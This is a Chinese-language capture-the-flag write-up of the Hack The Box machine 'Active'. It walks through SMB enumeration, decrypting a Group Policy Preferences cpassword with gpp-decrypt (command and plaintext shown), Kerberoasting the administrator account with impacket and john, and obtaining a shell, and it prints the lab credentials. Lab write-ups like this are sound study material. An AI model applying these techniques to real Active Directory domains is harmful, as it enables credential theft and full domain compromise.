Active-Writeup

概述 (Overview)

80032852.png

  • MACHINE TAGS
    • Windows
    • Kerberoasting
    • Active Directory
    • Powershell

攻击链 (Kiillchain)

通过 nmap 识别目标服务开发端口及服务,使用 smbclient 获取到域成员的 gpp password,最后使用该域成员账号获取到 administrator 的 SPN 票据。

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • smbmap & smbclient
  • Kerberoasting
  • crackmapexec
  • impacket
  • john

阶段1:枚举

开局是使用 Nmap 对目标进行端口枚举:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-07 12:55:39Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-07T12:56:40
|_  start_date: 2021-07-07T12:53:32

可以获悉到目标服务器是 Windows Server 2008 R2 SP1,运行着 DNS 服务、Kerberos 服务并且存在 Active Directory LDAP 服务,这些信息综合在一起说明目标机器是一台域控服务器(这个我熟,Forest ‘https://jgeek.cn/archive/id/78.html‘ 这台机器刚做过)。这里域名称是:Domain: active.htb

阶段2:工具和利用

阶段2.1:smb共享服务

使用 smbmap 查看下是否存在可访问的共享目录:

# smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445        Name: 10.10.10.100                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share 
        Users                                                   NO ACCESS

可以看到匿名用户对 Replication 文件夹具有 READ ONLY 权限。

通过 smbclient 进入该目录在路径 \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\ 中得到一个 Groups.xml 文件,里面包含一组用户名和密码信息。

77449311.png

除此之外还有一个 {6AC1786C-016F-11D2-945F-00C04fB984F9}

smb: \active.htb\Policies\> dir
  .                                   D        0  Sat Jul 21 18:37:44 2018
  ..                                  D        0  Sat Jul 21 18:37:44 2018
  {31B2F340-016D-11D2-945F-00C04FB984F9}      D        0  Sat Jul 21 18:37:44 2018
  {6AC1786C-016F-11D2-945F-00C04fB984F9}      D        0  Sat Jul 21 18:37:44 2018

阶段2.2:AD安全之GPP

获得的密码并不是明文,尝试去找这个文件及目录的相关信息,通过搜索查到该文章 https://adsecurity.org/?p=2288

所有域组策略都存储在:\ <DOMAIN> \ SYSVOL \ <DOMAIN> \ Policies \
当创建新的组策略首选项(GPP)时,在 C:\Windows\SYSVOL 中会创建一个与相关配置数据相关联的XML文件,其中包括与 GPP 关联的任何密码。为了安全起见,Microsoft AES 在将密码存储为 cpassword 但随后微软在 MSDN 上发布了密钥。
由于经过身份验证的用户(任何域用户或受信任域中的用户)都具有对SYSVOL的读取权限,所以域中的任何人都可以搜索包含“cpassword”的XML文件的SYSVOL共享,该文件是包含AES加密密码的值。

随后在其他的文章中找到 ruby decrypt 的代码片段,本地保存后运行该脚本得到明文:

78645774.png

使用 crackmapexec 工具枚举 smb 登录:

79018189.png
4243585.png
OK,成功得到域用户: active.htb\SVC_TGS:GPPstillStandingStrong2k18,使用 smbclientUser\SVC_TGS 目录中获得 user flag。

阶段3:权限提升

使用得到的域账号,运行 GetUserSPNs 来查询下域内帐户的 SPN,得到了一个 administrator 的 krb5tgs:

79320186.png

尝试使用 john 工具配合 rockyou.txt 字典枚举明文密码:

79441162.png

成功解出密码,使用 Administrator:Ticketmaster1968 密码组成功的到一个cmdshell。

79729789.png

复盘

Kerberoasting

Kerberos 是一种在 Windows Active Directory 环境中使用的身份验证协议(尽管它也可用于对 Linux 主机进行身份验证)。

2014 年,Tim Medin 提出了对 Kerberos 的攻击,他称之为Kerberoasting(https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf)

当您想使用 Kerberos 对某些服务进行身份验证时,您可以联系 DC 并告诉它您要向哪个系统服务进行身份验证。它使用服务用户的密码哈希加密对您的响应。您将该响应发送给服务,该服务可以使用它的密码对其进行解密,检查您的身份,并决定是否让您进入。

在 Kerberoasting 攻击中,您将使用离线暴力破解与服务关联的密码,而不是将加密的票据从 DC 发送到服务。

大多数情况下,您需要在域上有一个活动帐户才能启动 Kerberoast,但是如果 DC 配置了UserAccountControl (https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)设置“不需要 Kerberos 预身份验证”,则可以请求和接收一张票来破解而无需域上的有效帐户。

smbmap

如果已经知道目录名称,可是使用 # smbmap -H 10.10.10.100 -R -A Groups.xml -q 进行查询。

gpp-decrypt

kali 默认已经安装了 gpp 的 decrypt 工具:

# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

crackmapexec

crackmapexec 其实除了用于登录枚举还有很多有意思的功能模块,通过加入-M参数进行操作,具体使用可以查看github中的modules目录:

3622261.png

参考

82901911.png